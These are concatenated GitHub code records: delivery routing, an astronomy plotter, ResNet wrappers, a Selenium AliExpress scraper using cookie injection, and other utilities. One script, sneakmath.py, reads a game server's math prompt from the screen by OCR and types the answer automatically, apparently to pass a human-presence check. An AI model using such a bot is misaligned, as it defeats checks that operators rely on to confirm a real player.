],\n )\n _, _, code, details = utils.call_validate(self.test_server, early_stopping)\n self.assertEqual(code, grpc.StatusCode.INVALID_ARGUMENT)\n self.assertEqual(details, \"start_step must be greater or equal than one (>=1)\")\n\n def test_get_earlystopping_rules(self):\n # TODO (andreyvelich): Add more informative tests.\n trials = [\n api_pb2.Trial(\n name=\"test-asfjh\",\n ),\n api_pb2.Trial(\n name=\"test-234hs\",\n )\n ]\n\n experiment = api_pb2.Experiment(\n name=\"test\",\n )\n\n request = api_pb2.GetEarlyStoppingRulesRequest(\n experiment=experiment,\n trials=trials,\n db_manager_address=\"katib-db-manager.kubeflow:6789\"\n )\n\n get_earlystopping_rules = self.test_server.invoke_unary_unary(\n method_descriptor=(api_pb2.DESCRIPTOR\n .services_by_name['EarlyStopping']\n .methods_by_name['GetEarlyStoppingRules']),\n invocation_metadata={},\n request=request, timeout=1)\n\n _, _, code, _ = get_earlystopping_rules.termination()\n\n self.assertEqual(code, grpc.StatusCode.OK)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"kubeflow/katib","sub_path":"test/unit/v1beta1/earlystopping/test_medianstop_service.py","file_name":"test_medianstop_service.py","file_ext":"py","file_size_in_byte":4454,"program_lang":"python","lang":"en","doc_type":"code","stars":1376,"dataset":"github-code","pt":"37"} +{"seq_id":"38633334438","text":"import csv\nimport datetime\n\n##############################DISTANCE FILES##############################\n\n# Create a CSV file for all the distances in WGU file\n# and separate with a comma through the reader\nwith open('Distance_Table_Data.csv') as file_csv:\n read_mile = csv.reader(file_csv, delimiter=',')\n read_mile = list(read_mile)\n\n# Create a CSV file for all the distance names in WGU file\n# and separate with a comma through the reader\nwith open('Distance_Table_Name.csv') as file_names:\n read_name= csv.reader(file_names, delimiter=',')\n read_name = list(read_name)\n\n##############################DISTANCE FUNCTIONS##############################\n\n # Define a function to get the values in rows and columns store values\n # Iterate through the location distances\n # Calculate the distances and return the total distance\n # The space-time complexity O(1)\n def inspect_distances(value_of_rows, value_of_columns, total_distance):\n dist = read_mile[value_of_rows][value_of_columns]\n if dist is '':\n dist = read_mile[value_of_columns][value_of_rows]\n total_distance += float(dist)\n return total_distance\n\n\n # Define a function to get the values in rows and columns store values\n # Iterate through the current distances\n # Calculate the distances and return the total distance\n # The space-time complexity O(1)\n def current_distance(value_of_rows, value_of_columns):\n dist = read_mile[value_of_rows][value_of_columns]\n if dist is '':\n dist = read_mile[value_of_columns][value_of_rows]\n return float(dist)\n\n##############################TRUCK FUNCTIONS##############################\n\n # Variables for Truck\n truck_time_1 = ['8:00:00']\n truck_time_2 = ['9:10:00']\n truck_time_3 = ['11:00:00']\n\n # Define function for first truck\n # Get the total distance of first truck\n # The space-time complexity O(n)\n # Repeat for second and third trucks\n def first_truck(distance):\n times = distance / 18 # Calculate the distance of the truck \"distance/18\"\n # Format time using divmod() which returns a tuple Sources \"www.w3schools.com/python/ref_func_divmod.asp\"\n dist_mins = '{0:02.0f}:{1:02.0f}'.format(*divmod(times * 60, 60)) # divmod give mins and secs\n end_time = dist_mins + ':00'\n truck_time_1.append(end_time)\n sum = datetime.timedelta()\n for i in truck_time_1:\n (h, m, s) = i.split(':')\n d = datetime.timedelta(hours=int(h), minutes=int(m), seconds=int(s))\n sum += d\n return sum\n\n def second_truck(distance):\n times = distance / 18\n dist_mins = '{0:02.0f}:{1:02.0f}'.format(*divmod(times * 60, 60))\n end_time = dist_mins + ':00'\n truck_time_2.append(end_time)\n sum = datetime.timedelta()\n for i in truck_time_2:\n (h, m, s) = i.split(':')\n d = datetime.timedelta(hours=int(h), minutes=int(m), seconds=int(s))\n sum += d\n return sum\n\n def third_truck(distance):\n times = distance / 18\n dist_mins = '{0:02.0f}:{1:02.0f}'.format(*divmod(times * 60, 60))\n end_time = dist_mins + ':00'\n truck_time_3.append(end_time)\n sum = datetime.timedelta()\n for i in truck_time_3:\n (h, m, s) = i.split(':')\n d = datetime.timedelta(hours=int(h), minutes=int(m), seconds=int(s))\n sum += d\n return sum\n\n##############################ADDRESS FUNCTIONS##############################\n\n # Define a function to return information for the packages in Package_Main\n # Space-time complexity is O(1)\n def check_address():\n return read_name\n\n##############################STATE OF TRUCK FUNCTIONS##############################\n # Variables for state of trucks\n truck_state_1 = []\n truck_state_1L = []\n truck_state_2 = []\n truck_state_2L = []\n truck_state_3 = []\n truck_state_3L = []\n\n # Truck states all have a space - time complexity of O(1)\n truck_state_1L.insert(0, '0')\n\n def truck_1_state_index():\n return truck_state_1L\n\n def truck_1_state_list():\n return truck_state_1\n\n truck_state_2L.insert(0, '0')\n\n def truck_2_state_index():\n return truck_state_2L\n\n def truck_2_state_list():\n return truck_state_2\n\n truck_state_3L.insert(0, '0')\n\n def truck_3_state_index():\n return truck_state_3L\n\n def truck_3_state_list():\n return truck_state_3\n\n\n # Define Greedy algorithm for shortest path\n # Set an initial value for the distance and check every distance against the initial value\n # Add packages to correct trucks after the routes have been determined, packages need to be added to list\n # Remove package from list with the smallest value\n # Space - time Complexity is O(N^2)\n def calculate_shortest_distance(truck_miles, truck_id, location):\n if len(truck_miles) == 0: # Initial start of list size\n return truck_miles\n else:\n try:\n initial_val = 100.0\n latest_locate = 0\n for index in truck_miles:\n if current_distance(location, int(index[1])) <= initial_val:\n initial_val = current_distance(location, int(index[1]))\n latest_locate = int(index[1])\n for index in truck_miles:\n if current_distance(location, int(index[1])) == initial_val:\n if truck_id == 1:\n truck_state_1.append(index)\n truck_state_1L.append(index[1])\n pop_value = truck_miles.index(index)\n truck_miles.pop(pop_value)\n location = latest_locate\n calculate_shortest_distance(truck_miles, 1, location)\n elif truck_id == 2:\n truck_state_2.append(index)\n truck_state_2L.append(index[1])\n pop_value = truck_miles.index(index)\n truck_miles.pop(pop_value)\n location = latest_locate\n calculate_shortest_distance(truck_miles, 2, location)\n elif truck_id == 3:\n truck_state_3.append(index)\n truck_state_3L.append(index[1])\n pop_value = truck_miles.index(index)\n truck_miles.pop(pop_value)\n location = latest_locate\n calculate_shortest_distance(truck_miles, 3, location)\n except IndexError:\n pass","repo_name":"HoseaGibson/C950Delivery","sub_path":"Project_Main/Distance_Main.py","file_name":"Distance_Main.py","file_ext":"py","file_size_in_byte":6804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18150412828","text":"import datetime\nimport re\nimport time\n\nimport pyautogui\nimport pytesseract\nfrom PIL import ImageGrab\nfrom pynput.keyboard import Controller, Key\n\nkeyboard = Controller()\n\npytesseract.pytesseract.tesseract_cmd = './Tesseract-OCR/tesseract.exe' # tesseract executable path\n\n\ndef capture_screen_region():\n screen_width, screen_height = pyautogui.size()\n region_width = int(screen_width * 0.25) # Adjust as needed depending on your screen size\n region_height = int(screen_height * 0.25) # Adjust as needed depending on your screen size\n\n return ImageGrab.grab(bbox=(0, screen_height - region_height, region_width, screen_height))\n\n\ndef extract_and_solve_expression(screen_region):\n extracted_text = pytesseract.image_to_string(screen_region)\n\n # Search for the pattern in the extracted text\n match = re.search(r'\\[SNK.SRV\\] (\\d+) ([+-/*]) (\\d+) = \\?\\?', extracted_text)\n\n if match:\n num1, operator, num2 = int(match.group(1)), match.group(2), int(match.group(3))\n\n if operator == '+':\n return num1 + num2\n elif operator == '-':\n return num1 - num2\n elif operator == '*':\n return num1 * num2\n elif operator == '/':\n return num1 / num2 if num2 != 0 else \"Division by zero\"\n return None\n\n\ndef main():\n last_answered = None\n\n while True:\n current_time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n screen_region = capture_screen_region()\n answer = extract_and_solve_expression(screen_region)\n\n if answer is not None and answer != last_answered:\n print(f\"[{current_time}] Pattern found! The answer is: {answer}\")\n\n # Simulate key presses and typing\n keyboard.press('y')\n keyboard.release('y')\n time.sleep(0.15) # Adjust the delay based on game's response time\n\n # Type the answer and press Enter\n keyboard.type(str(int(answer)))\n time.sleep(0.1)\n keyboard.press(Key.enter)\n keyboard.release(Key.enter)\n\n # Update the last_answered\n last_answered = answer\n\n # sleep for 1 seconds before checking again\n # increase the value if you want to reduce CPU usage\n # decrease the value if your CPU is fast enough\n time.sleep(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"Penlo/SneakMath","sub_path":"sneakmath.py","file_name":"sneakmath.py","file_ext":"py","file_size_in_byte":2366,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"73371538668","text":"#this porgram assumes that the path of the input filter bank is in the format \n\n\n#%% importing modules\n\nimport matplotlib.pyplot as plt\nfrom sigpyproc.readers import FilReader as F\nimport numpy as np\nimport argparse\n\n#%%defining inputs\n\na = argparse.ArgumentParser()\na.add_argument('-t', type = str, help = 'Give the tape name')\na.add_argument('-o', type = str, help = 'Give the observation ')\n\nargs = a.parse_args()\ntape_no = args.t\nobservation = args.o\n\n#%%defining functions\n\n#this function flattens the curve. Because each channel has quadratic nature, and when\n#summed up, the quadratic nature amplifies, so this will help faltten it\ndef flatten(time_series, interval):\n xx = np.arange(len(time_series))\n model = np.poly1d(np.polyfit(xx[::interval], time_series[::interval], 2 ))\n y = model[2] * xx**2 + model[1] * xx + model[0]\n return time_series - y\n\n#this function will generate the data to plot how the candidate looks\ndef plotter(matrix, dm, imp_start, bins, blocks):\n #blocks helps us tell how many points do we want on the either side of the\n #candidate when plotting it\n \n matrix = F(matrix)\n nsamps = matrix.header.nsamples\n n_chans = matrix.header.nchans\n max_f = matrix.header.fch1\n min_f = max_f + matrix.header.foff * (n_chans-1)\n \n matrix = matrix.read_block(0, nsamps)\n\n #the function is in the format frequency = a/(sample_number - b)^2\n b = ((min_f/max_f)**2)*dm/(1-(min_f/max_f)**2) #constant in equation\n a = max_f*((b)**0.5) #constant in equation\n freq = np.linspace(max_f, min_f, n_chans)\n\n #following is the lenght of each channel and its being determined based\n #on the last channel\n c = nsamps - int((a/(freq[-1]))**2 - b)\n\n #creating an empty array of the size that the dispersed data set will be because\n #row stacking is not efficient\n final = np.empty([n_chans,c])\n \n #after the for loop finishes the pulse should be lined up\n for j in range(n_chans):\n\n temp_start = int((a/(freq[j]))**2 - b)\n temp_end = temp_start + c\n \n final[j] = matrix[j][temp_start:temp_end]\n \n #next job is to remove the extra bits from the start and end so that the \n #channel lenght remains a multiple of bin size\n \n rem_start = imp_start % bins\n start_blocks_av = (imp_start - rem_start)//bins\n\n if start_blocks_av <= blocks:\n start = rem_start\n else:\n extra_block = start_blocks_av - blocks\n start = rem_start + extra_block * bins\n\n new_imp_start = imp_start - start\n \n rem_end = (c-(imp_start + bins))%bins\n end_blocks_av = (c-(imp_start + bins))//bins\n\n if end_blocks_av <= blocks:\n end = rem_end\n else:\n extra_block = end_blocks_av - blocks\n end = (c-(imp_start + bins)) - blocks * bins\n \n if end == 0: \n final = final[:,start:]\n else:\n final = final[:,start:-end]\n \n #reshaping it to find the average in an efficient way\n final = final.reshape(n_chans, len(final[0])//bins, bins).mean(axis=-1)\n \n sum_ = np.average(final, axis = 0)\n sum_ = flatten(sum_, 5)\n \n #this is converting the dm to parsec/cm^3\n dm = ((dm * ((2**16)/100000000))*1000)/(4.15*((min_f/1000)**(-2) - (max_f/1000)**(-2)))\n \n #returning the final frequency time plot, sum plot, the location of where the candidates is,\n #maximum frequency, difference between different frequencies, dispersion measure in actual units\n return final, sum_, new_imp_start//bins, max_f, matrix.header.foff, dm\n\n#%%calling the functions\ncandidates = f\"/scratch2/aga017/output/{tape_no}/slotter_results/{tape_no}_{observation}_.txt\"\ncandidates = np.loadtxt(candidates, dtype=str)\ncandidates = candidates[1:,:].astype(float)\n \n\nfor i in range(len(candidates)):\n imp_start = int(float(candidates[i,0])) \n dm = int(float(candidates[i,2]))\n bins = int(float(candidates[i,1]))\n SNR = round(float(candidates[i,3]),2)\n beam = int(candidates[i,-1])\n beam = \"{:03}\".format(beam)\n\n filter_bank = f\"/scratch2/aga017/utmost_data/{tape_no}/{observation}/FB/BEAM_{beam}/{observation}.fil\"\n \n out, sum_, idx, max_f, f_off, dm = plotter(filter_bank, dm, imp_start, bins, 50)\n \n dm = '%.3g' % dm\n bins = '%.3g' % (bins * ((2**16)/100000000))\n \n fig = plt.figure(figsize=(18, 11))\n \n ax0 = plt.subplot2grid(shape = (6, 1), loc = (0, 0), rowspan = 5, colspan = 1, fig = fig)\n ax1 = plt.subplot2grid(shape = (6, 1), loc = (5, 0), rowspan = 1, colspan = 1, fig = fig, sharex = ax0)\n plt.subplots_adjust(hspace = 0)\n \n \n ax0.set_title(f\"DM = {dm} pc.cm$^{3}$, Sample # = {imp_start} \\n Pulse Width = {bins} sec, S/N = {SNR}\", y = 1.05)\n \n ax0.imshow(out, aspect = 'auto', interpolation = 'None')\n\n ax0.axes.get_xaxis().set_visible(False)\n y_ticks = ax0.get_yticks()\n new_ticks = [round((f_off*y + max_f),2) for y in y_ticks] \n ax0.set_yticklabels(new_ticks)\n ax0.set_ylabel(\"Frequency in MHz\")\n ax2 = ax0.twinx()\n ax2.set_ylim(40, 0)\n ax2.set_yticks([0, 8, 16, 24, 32, 40])\n ax2.set_ylabel(\"Channel #\")\n\n ax1.plot(sum_, 'r-')\n #ax1.plot(idx, sum_[idx], '*')\n ax1.set_yticks([])\n ax1.axes.get_xaxis().set_visible(False)\n name = f\"/scratch2/aga017/output/{tape_no}/plotter_results/{tape_no}_{observation}_{beam}_{i}.png\" \n fig.savefig(name, format = 'png', dpi = 70) \n print(f\"Saved: {tape_no}_{observation}_{beam}_{i}.png\")\n if i % 20 == 0:\n plt.close('all')\n\n \n \n \n \n \n \n \n \n \n \n ","repo_name":"Mehul329/csiro","sub_path":"Plotter/plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":5563,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"41764819767","text":"#!/usr/bin/env python3\n\n\"\"\" A driver for the Scraper class \"\"\"\n\n# stdlib modules\nimport os\nimport re\nimport sys\nimport time\nimport logging\nimport platform\n\n# inner modules\nfrom scraper import scraperutils as utils\n\n# third party modules\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\n# exceptions\nfrom scraper.exceptions import *\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.common.exceptions import ElementNotInteractableException\nfrom selenium.common.exceptions import ElementClickInterceptedException\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.common.exceptions import NoSuchAttributeException\n\n# constants\nfrom scraper.const import NO_NEW_USER_BONUS_COOKIE_VALUE, NO_NEW_USER_BONUS_COOKIE_NAME, \\\nCOUNTRY_AND_CURRENCY_COOKIE_NAME, COUNTRY_AND_CURRENCY_COOKIE_VALUE, COUNTRY_ISO_CODE_DIR, \\\nMAIN_COOKIE_DOMAIN, US_COUNTRY_AND_CURRENCY_COOKIE_VALUE, US_COOKIE_DOMAIN\n\n# typing\nfrom typing import Union\n\n# typedef\nChromeWebdriver: webdriver.chrome.webdriver.WebDriver\nChromeWebdriver = webdriver.chrome.webdriver.WebDriver\nWebElement: webdriver.remote.webelement.WebElement\nWebElement = webdriver.remote.webelement.WebElement\n\nclass Driver:\n \"\"\"\n A class to wrap around selenium.webdriver to use with Scraper.\n \"\"\"\n\n URL = 'https://www.aliexpress.com/'\n CHROMEDRIVER_PATH = ''\n RETRIES = 5\n RETRY_INTERVAL = 0.5\n\n def __init__(self, country: str, currency: str, headless: bool = True, debug: bool = False) -> None:\n self.setUpChromedriverPath()\n\n self.country = country\n self.currency = currency\n self.headless = headless\n self.debug = debug\n\n # enable info level logging when headless\n if headless:\n logging.getLogger().setLevel(logging.INFO)\n else:\n logging.getLogger().disable = True\n\n self.driver = self.setUpDriver(self.country, self.currency, self.headless, self.debug)\n\n def close (self) -> None:\n \"\"\"\n Closes the driver.\n \"\"\"\n logging.info('Closing Driver...')\n self.driver.quit()\n\n def resetDriver (self) -> None:\n \"\"\"\n Resets the driver itself by closing it and setting it up again.\n \"\"\"\n self.close()\n self.driver = self.setUpDriver(self.country, self.currency, self.headless, self.debug)\n\n def setUpChromedriverPath (self) -> None:\n \"\"\"\n Sets up the self.CHROMEDRIVER_PATH attribute.\n \"\"\"\n self.CHROMEDRIVER_PATH = os.path.join(\n os.path.dirname(os.path.abspath(__file__)),\n 'dependencies',\n 'chromedriver'\n )\n\n if platform.system() == 'Windows':\n self.CHROMEDRIVER_PATH += '.exe'\n\n def setUpDriver (self, country: Union[str, None], currency: Union[str, None], headless: bool, debug: bool = False) -> ChromeWebdriver:\n \"\"\"\n Returns a Chrome driver at https://www.aliexpress.com.\n\n :param country: country to ship to (None for default country)\n :param currency: currency to show prices as (None for default currency)\n \"\"\"\n\n logging.info('Now setting up driver...')\n\n # create driver\n if headless:\n options = Options()\n options.add_argument('--headless')\n options.add_argument('window-size=1920x1080')\n driver = webdriver.Chrome(self.CHROMEDRIVER_PATH, options=options)\n # chrome_options = webdriver.ChromeOptions()\n # chrome_options.add_argument('--no-sandbox')\n # chrome_options.add_argument('--window-size=1420,1080')\n # chrome_options.add_argument('--headless')\n # chrome_options.add_argument('--disable-gpu')\n # chrome_options.add_argument('--single-process')\n # chrome_options.binary_location = os.path.join(\n # os.path.dirname(os.path.abspath(__file__)),\n # 'dependencies',\n # 'Chromium.app',\n # 'Contents',\n # 'MacOS',\n # 'Chromium'\n # )\n # driver = webdriver.Chrome(self.CHROMEDRIVER_PATH, chrome_options=chrome_options)\n else:\n driver = webdriver.Chrome(self.CHROMEDRIVER_PATH)\n\n # set logging to warnings only\n logger = logging.getLogger('selenium.webdriver.remote.remote_connection')\n logger.setLevel(logging.WARNING)\n\n driver.get(self.URL)\n\n # set up country and currency\n self.setUpCountryAndCurrency(driver=driver, country=country, currency=currency)\n\n # inject cookie to bypass the new user bonus\n logging.info('Adding cookies to bypass the new user bonus...')\n utils.injectCookie(driver=driver,\n cookieValue=NO_NEW_USER_BONUS_COOKIE_VALUE,\n cookieName=NO_NEW_USER_BONUS_COOKIE_NAME)\n\n logging.info('Driver setup complete.')\n\n return driver\n\n def closePopups (self, driver: ChromeWebdriver) -> None:\n \"\"\"\n Closes the initial popups when visiting https://www.aliexpress.com.\n\n :param driver: driver at https://www.aliexpress.com\n \"\"\"\n\n logging.info('Closing Popups...')\n\n classes = {\n 'cookies': 'btn-accept',\n 'notifications': '_24EHh',\n 'welcome': 'btn-close',\n }\n\n # explicitly wait until all three popups are loaded\n for popup, className in classes.items():\n try:\n WebDriverWait(driver, 3).until(\n EC.presence_of_element_located((By.CLASS_NAME, className))\n )\n driver.find_element(By.CLASS_NAME, className).click()\n\n except (NoSuchElementException, ElementNotInteractableException, TimeoutException):\n logging.info(f'Skipping {popup} popup. If it intercepts will try to close again.')\n\n except ElementClickInterceptedException:\n raise ElementClickInterceptedException(f'element with name {popup} and class {className} click intercepted.')\n\n def setUpCountryAndCurrency (self, driver: ChromeWebdriver, country: str, currency: str) -> None:\n \"\"\"\n Injects cookie with passed country and currency.\n\n :param driver: driver to inject the cookie to\n :param country: country to setup the cookie with\n :param currency: currency to setup the cookie with\n \"\"\"\n\n logging.info('Adding cookies for selected country and currency...')\n\n countryIsoCode = COUNTRY_ISO_CODE_DIR[country.lower()]\n currencyIsoCode = currency[:3].upper()\n\n # default cookie\n cookieValue = COUNTRY_AND_CURRENCY_COOKIE_VALUE.format(currencyIsoCode, countryIsoCode)\n\n utils.injectCookie(\n driver=driver,\n cookieValue=cookieValue,\n cookieName=COUNTRY_AND_CURRENCY_COOKIE_NAME,\n )\n\n # when changing country to usa the currency value is ignored and the\n # one that already was set up stays because of the new domain's cookies\n # to get around that if we're moving to US then we add the us domain\n # again with the currency that we want \n if countryIsoCode == 'US':\n\n driver.refresh()\n\n # extra cookie for the us marketplace\n cookieValueUS = US_COUNTRY_AND_CURRENCY_COOKIE_VALUE.format(currencyIsoCode, countryIsoCode)\n\n utils.injectCookie(\n driver=driver,\n cookieValue=cookieValueUS,\n cookieName=COUNTRY_AND_CURRENCY_COOKIE_NAME,\n )\n\n def setUpCountry (self, driver: ChromeWebdriver, country: str) -> str:\n \"\"\"\n Sets up the ship to country. Assumes that the settings menu is already open.\n Also returns the class string for the flag element.\n Raises InvalidCountryException if invalid country is passed.\n\n :param driver: driver at https://www.aliexpress.com ready for country set up\n :param country: country to set shipment to\n \"\"\"\n\n logging.info('Setting up the country...')\n\n country_dropdown_class = 'address-select-trigger'\n\n # explicitly wait for the country list dropdown to load\n try:\n WebDriverWait(driver, 3).until(\n EC.presence_of_element_located((By.CLASS_NAME, country_dropdown_class))\n )\n except (NoSuchElementException, TimeoutException):\n raise InvalidClassNameNavigationException(url=self.URL, className=country_dropdown_class, elementName='country list dropdown')\n\n # click list once loaded\n utils.getElement(\n parent=driver,\n locatorMethod=By.CLASS_NAME,\n locatorValue=country_dropdown_class,\n url=self.URL,\n elementName='country list dropdown'\n ).click()\n\n # get input element\n input_class = 'filter-input'\n inp = utils.getElement(\n parent=driver,\n locatorMethod=By.CLASS_NAME,\n locatorValue=input_class,\n url=self.URL,\n elementName='country input'\n )\n\n # click and insert in input\n inp.click()\n inp.clear()\n inp.send_keys(country.lower())\n\n # iterate over all list items and get the first one that is visible\n result_class = 'address-select-item'\n flagClass = ''\n\n # iterate over all countries and click the first one that is not disabled\n results = utils.getElements(\n parent=driver,\n locatorMethod=By.CLASS_NAME,\n locatorValue=result_class,\n url=self.URL,\n elementName='country list element'\n )\n\n for result in results:\n # check that it is a valid item by getting the 'data-name' attribute\n if not result.get_attribute('data-name'):\n continue\n\n # get style to check display\n style = result.get_attribute('style')\n pattern = 'display: none'\n\n if not re.search(pattern, style):\n # get flag class, click and end loop if visible\n dataCode = result.get_attribute('data-code')\n flagClass = f'css_{dataCode}'\n result.click()\n break\n\n return flagClass\n\n def setUpCurrency (self, driver: ChromeWebdriver, currency: str) -> str:\n \"\"\"\n Sets up the currency. Assumes that the settings menu is already open.\n Also returns a string of the currency's iso code.\n Raises InvalidCurrencyException if invalid currency is passed.\n\n :param driver: driver at https://www.aliexpress.com ready for country set up\n :param currency: currency to set shipment to (i.e. 'eur', 'USD', 'hKd')\n \"\"\"\n\n logging.info('Setting up the currency...')\n\n currency_dropdown_class = 'select-item'\n\n # explicitly wait until the currency dropdown list is present\n try:\n WebDriverWait(driver, 3).until(\n EC.presence_of_element_located((By.CLASS_NAME, currency_dropdown_class))\n )\n driver.find_elements(By.CLASS_NAME, currency_dropdown_class)[1].click()\n except (NoSuchElementException, TimeoutException) as e:\n raise InvalidClassNameNavigationException(url=self.URL, className=currency_dropdown_class, elementName='currency list dropdown') \\\n from e\n\n # click and insert in input\n input_class = 'search-currency'\n inp = [\n elem for elem in utils.getElements(\n parent=driver, locatorMethod=By.CLASS_NAME,\n locatorValue=input_class, url=self.URL, elementName='currency input')\n if not utils.getAttribute(element=elem, attribute='data-role')\n ][0]\n inp.click()\n inp.clear()\n inp.send_keys(currency.lower())\n\n\n # iterate over all list items and get the first one that is visible\n currency_list_parent_class = 'switcher-currency-c'\n list_tag_name = 'ul'\n result_xpath = './child::*'\n currencyCode = ''\n\n # get parent element\n parent = utils.getElements(\n parent=driver,\n locatorMethod=By.CLASS_NAME,\n locatorValue=currency_list_parent_class,\n url=self.URL,\n elementName='currency list parent',\n )[1]\n\n # get list\n result_list = utils.getElement(\n parent=parent,\n locatorMethod=By.TAG_NAME,\n locatorValue=list_tag_name,\n url=self.URL,\n elementName='currency list',\n )\n\n # get results\n results = utils.getElements(\n parent=result_list,\n locatorMethod=By.XPATH,\n locatorValue=result_xpath,\n url=self.URL,\n elementName='currency list items'\n )\n if not results:\n raise NoSuchElementException('List returned is empty.')\n\n for result in results:\n # get result's text to check if visible\n if not result.text:\n continue\n\n # click the first visible result's link and break the loop\n currencyCode = result.text[:3]\n result.click()\n break\n\n return currencyCode\n\n def openSettingsMenu (self, driver: ChromeWebdriver) -> None:\n \"\"\"\n Opens the dropdown menu where the country and currency settings are.\n\n :param driver: driver at https://www.aliexpress.com to have the settings menu opened.\n \"\"\"\n\n id = 'switcher-info'\n\n try:\n utils.getElement(\n parent=driver,\n locatorMethod=By.ID,\n locatorValue=id,\n url=self.URL,\n elementName='setting menu'\n ).click()\n # we want to explicitly catch and raise ElementClickInterceptedException so that it is handled\n except ElementClickInterceptedException as e:\n raise e\n\n def closeSettingsMenu (self, driver: ChromeWebdriver) -> None:\n \"\"\"\n Closes the dropdown menu where the country and currency settings are.\n Assumes that the settings menu is open.\n\n :param driver: driver at https://www.aliexpress.com to have the settings menu closed.\n \"\"\"\n\n id = 'switcher-info'\n\n utils.getElement(\n parent=driver,\n locatorMethod=By.ID,\n locatorValue=id,\n url=self.URL,\n elementName='settings menu'\n ).click()\n\n def saveSettingsMenu (self, driver: ChromeWebdriver) -> None:\n \"\"\"\n Clicks the save button inside the settings menu.\n Assumes that the settings menu is open.\n\n :param driver: driver at https://www.aliexpress.com to have the settings saved.\n \"\"\"\n\n className = 'ui-button'\n\n utils.getElement(\n parent=driver,\n locatorMethod=By.CLASS_NAME,\n locatorValue=className,\n url=self.URL,\n elementName='save button',\n ).click()\n","repo_name":"yiannisha/AliExpress-Price-Checker","sub_path":"scraper/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":15643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16738493601","text":"# Refaça o exercício 051, lendo o primeiro termo e a razão de uma PA.\n# mostrando os 10 primeiros termos da progressão utilizando a estrutura \"While\"\n\nnum = int(input(\"Primeiro termo da PA: \"))\nrazao = int(input(\"Razão da PA: \"))\nntermos = int(input(\"Quantidade de termos: \"))\ni = 1\nprint(f\"{num} \", end = \"\")\n\nwhile i != ntermos:\n print (f\"{num + razao} \", end = \"\")\n num += razao\n i += 1\n\n","repo_name":"luizfiliperm/Exercicios-Curso-Em-Video","sub_path":"mundo02/ex061.py","file_name":"ex061.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"73709782828","text":"import torch\nfrom torchvision.models.resnet import ResNet as CustomResNet, BasicBlock, Bottleneck\n\n_types = {\n 18: (BasicBlock, [2, 2, 2, 2]), #ResNet18\n 34: (BasicBlock, [3, 4, 6, 3]), #ResNet34\n 50: (Bottleneck, [3, 4, 6, 3]), #ResNet50\n}\n\nclass ResNet(CustomResNet):\n def __init__(self, k=1000, version=18, batch_norm=True):\n super().__init__(*_types[version], num_classes=k)\n self.k = k\n self.version = version\n self.batch_norm = batch_norm\n if batch_norm:\n self.fc = torch.nn.Sequential(\n torch.nn.Linear(512, k, bias=None),\n torch.nn.BatchNorm1d(k, affine=True),\n )\n \n def forward(self, x):\n #accepting arbitrary shapes\n *shape, c, h, w = x.shape\n out = super().forward(x.view(-1, c, h, w))\n return out.view(*shape, -1)\n\nclass MnistResNet(ResNet):\n def __init__(self, k=1000, version=18, batch_norm=True):\n super().__init__(k=k, version=version, batch_norm=batch_norm)\n #conv1: nb_channel changes from 3 to 1 (RGB to grayscale) and stride changes from 2 to 1\n self.conv1 = torch.nn.Conv2d(1, 64, kernel_size=7, stride=1, padding=3, bias=False)\n \n def forward(self, x):\n #adding a dummy channel dimension\n return super().forward(x[...,None,:,:])\n\nclass Uint8ResNet(ResNet):\n def forward(self, x):\n #rescale uint8 to [-1, 1]\n x = (x.float()-127.5)/127.5\n return super().forward(x)","repo_name":"duchesneaumathieu/learning_an_equihash_to_find_a_needle_in_a_haystack","sub_path":"equihash/networks.py","file_name":"networks.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32839354105","text":"# -*- coding: utf-8 -*-\n\nimport logging\nfrom ecl import connection\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass ConnectionManager(object):\n\n def __init__(self, cli_options=None, verify=True):\n self._verify = verify\n self._cacert = None\n if isinstance(verify, bool):\n self._insecure = not verify\n else:\n self._cacert = verify\n self._insecure = False\n self.conn = connection.Connection(\n verify=self._verify,\n cert=self._cacert,\n auth_url=cli_options.auth.get(\"auth_url\"),\n project_id=cli_options.auth.get(\"project_id\"),\n username=cli_options.auth.get(\"username\"),\n password=cli_options.auth.get(\"password\"),\n user_domain_id=\"default\",\n project_domain_id=\"default\")\n\n root_logger = logging.getLogger('')\n LOG.setLevel(root_logger.getEffectiveLevel())\n","repo_name":"nttcom/eclcli","sub_path":"eclcli/api/eclsdk.py","file_name":"eclsdk.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"37"} +{"seq_id":"41138908036","text":"from ctypes import Union\nimport os\nfrom pprint import pprint\nfrom rest_framework import generics\nfrom django.shortcuts import render\nfrom django.db.models import Q\nfrom enum import Enum\nfrom .utils import filter_data\nfrom rest_framework.parsers import MultiPartParser, FormParser\nfrom rest_framework import status\nfrom django.http import FileResponse\nfrom django.conf import settings\nfrom django.contrib.auth.hashers import make_password, check_password\n\n\nfrom .models import Challenge, Post, Space, User, Answer, Vote, Comment\nfrom .serializers import (\n AnswerSerializer,\n ChallengeSerializer,\n CommentSerializer,\n PostSerializer,\n SpaceSerializer,\n UserSerializer,\n)\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom print_color import print\n\n\n# Create your views here.\nclass UsersView(generics.CreateAPIView):\n def get(self, request, *args, **kwargs):\n users = User.objects.all()\n serializer = UserSerializer(users, many=True)\n return 